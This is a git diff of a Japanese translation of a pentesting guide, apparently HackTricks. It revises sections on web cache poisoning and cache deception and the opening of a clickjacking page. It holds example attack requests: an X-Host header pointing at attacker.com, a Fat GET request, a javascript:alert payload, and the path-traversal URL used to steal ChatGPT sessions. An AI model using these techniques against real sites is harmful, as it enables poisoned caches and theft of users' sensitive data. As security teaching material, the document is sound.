+もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用しているユーザーのためにキャッシュを汚染することができます。 キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。 @@ -105,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md ### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング -[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。 +[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものはすべてキャッシュされ、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化しなかったためです。 これは以下でもより詳しく説明されています: @@ -115,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md ### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する -時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。 +時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが管理するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。 ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -124,7 +116,7 @@ X-Forwarded-Scheme: http ``` ### 限定された `Vary` ヘッダーを利用した攻撃 -もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されていることがわかり、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。 +もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されていることがわかり、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、その User-Agent を使用してキャッシュを汚染する方法を見つける必要があります。 ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -133,7 +125,7 @@ X-Host: attacker.com ``` ### Fat Get -URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのリクエストを使用する場合でも、キャッシュサーバーがURLのリクエストをキャッシュする場合、URLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように: +URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのリクエストを使用する場合でも、キャッシュサーバーがURLのリクエストをキャッシュする場合、URLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -142,21 +134,21 @@ Content-Length: 22 report=innocent-victim ``` -ポートスウィガーのラボについて: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -### パラメータクラッキング +### パラメータクロッキング -例えば、**パラメータ**をrubyサーバーで**`;`**文字を使って**`&`**の代わりに分離することが可能です。これを利用して、キーなしのパラメータ値をキー付きのものの中に入れ込み、悪用することができます。 +例えば、**パラメータ**を**`;`**文字を使って**`&`**の代わりに分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ、悪用することができます。 -ポートスウィガーのラボ: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) +Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### HTTPキャッシュポイズニングの悪用 +### HTTPリクエストスムージングを悪用したHTTPキャッシュポイズニングの悪用 -[HTTPリクエストスムージングを悪用したキャッシュポイズニング攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)について学びましょう。 +[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)の実施方法について学びましょう。 -### ウェブキャッシュポイズニングの自動テスト +### Web Cache Poisoningの自動テスト -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。 +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。 使用例: `wcvs -u example.com` @@ -164,7 +156,7 @@ report=innocent-victim ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントは無視)。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれていませんでした。 +ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントを無視)。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみでした。 ### GitHub CP-DoS @@ -172,7 +164,7 @@ content-typeヘッダーに不正な値を送信すると、405キャッシュ ### GitLab + GCP CP-DoS -GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートされていました。 +GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートしていました。 ### Rackミドルウェア(Ruby on Rails) @@ -184,15 +176,15 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。 ### キー付きパラメータの注入 -キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン(例: `siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドでは利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。 +キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドでは利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。 ### ユーザーエージェントルール -一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。 +一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。 ### 不正なヘッダーフィールド -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字(例: `\`)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。 +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名における許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字(例:`\`)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。 ### 新しいヘッダーの発見 @@ -202,28 +194,28 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。 キャッシュデセプションの目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。 -まず、**拡張子**(.css、.js、.pngなど)が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`**拡張子**を見ているからです。しかし、**アプリケーション**が**機密**ユーザーコンテンツを_www.example.com/profile.php_から再生している場合、他のユーザーからそのコンテンツを**盗む**ことができます。 +まず、**拡張子**(例:`.css`、`.js`、`.png`など)が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`**拡張子**を見ているからです。しかし、**アプリケーション**が**機密**ユーザーコンテンツを_www.example.com/profile.php_から再生している場合、他のユーザーからそのコンテンツを**盗む**ことができます。 -他にテストするべきこと: +他にテストすること: - _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.css_ - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _あまり知られていない拡張子(例: `.avif`)を使用する_ +- _あまり知られていない拡張子(例:_`.avif`_)を使用する_ 非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\ -この例では、存在しないページ(例: _http://www.example.com/home.php/non-existent.css_)を読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\ +この例では、存在しないページ(例:_http://www.example.com/home.php/non-existent.css_)を読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\ その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。 -**キャッシュプロキシ**は、ファイルの**拡張子**(_.css_)に基づいてファイルを**キャッシュ**するように**設定されるべき**です。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。 +**キャッシュプロキシ**は、ファイルの**拡張子**(_.css_)に基づいてファイルを**キャッシュ**するように**設定されるべき**であり、コンテンツタイプに基づいてはなりません。例として、_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。 -[HTTPリクエストスムージングを悪用したキャッシュデセプション攻撃の実行方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)について学びましょう。 +[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)の実施方法について学びましょう。 ## 自動ツール -- [**toxicache**](https://github.com/xhzeem/toxicache): URLのリスト内でウェブキャッシュポイズニングの脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。 +- [**toxicache**](https://github.com/xhzeem/toxicache): URLのリスト内でWebキャッシュポイズニングの脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。 ## 参考文献 @@ -234,12 +226,5 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。 - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -
- -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフロー**を簡単に構築および**自動化**します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 8a6c7120a..a8582d987 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -2,27 +2,19 @@ {{#include ../banners/hacktricks-training.md}} -
+## What is Clickjacking -\ -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\ -今すぐアクセスを取得: +クリックジャッキング攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**をウェブページ上で**クリック**するように**騙されます**。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %} +### Prepopulate forms trick -## Clickjackingとは +時には、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することができます。 -Clickjacking攻撃では、**ユーザー**が**見えない**か、別の要素に偽装された**要素**を**クリック**するように**騙されます**。この操作は、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入など、ユーザーにとって意図しない結果を引き起こす可能性があります。 +### Populate form with Drag\&Drop -### フォームの事前入力トリック +ユーザーに**フォームを埋めてもらいたい**が、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書くように頼みたくない場合、**Drag\&Drop**してもらうように頼むだけで、あなたの制御したデータを書き込むことができます。これは[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように行えます。 -時には、ページを読み込む際にGETパラメータを使用して**フォームのフィールドの値を埋める**ことが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにclickjackingペイロードを送信することができます。 - -### ドラッグ&ドロップでフォームを埋める - -ユーザーに**フォームを埋めてもらいたい**が、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書くように頼みたくない場合は、ユーザーに**ドラッグ&ドロップ**してもらうように頼むだけで、あなたの制御されたデータを書き込むことができます。これは[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように行えます。 - -### 基本的なペイロード +### Basic Payload ```markup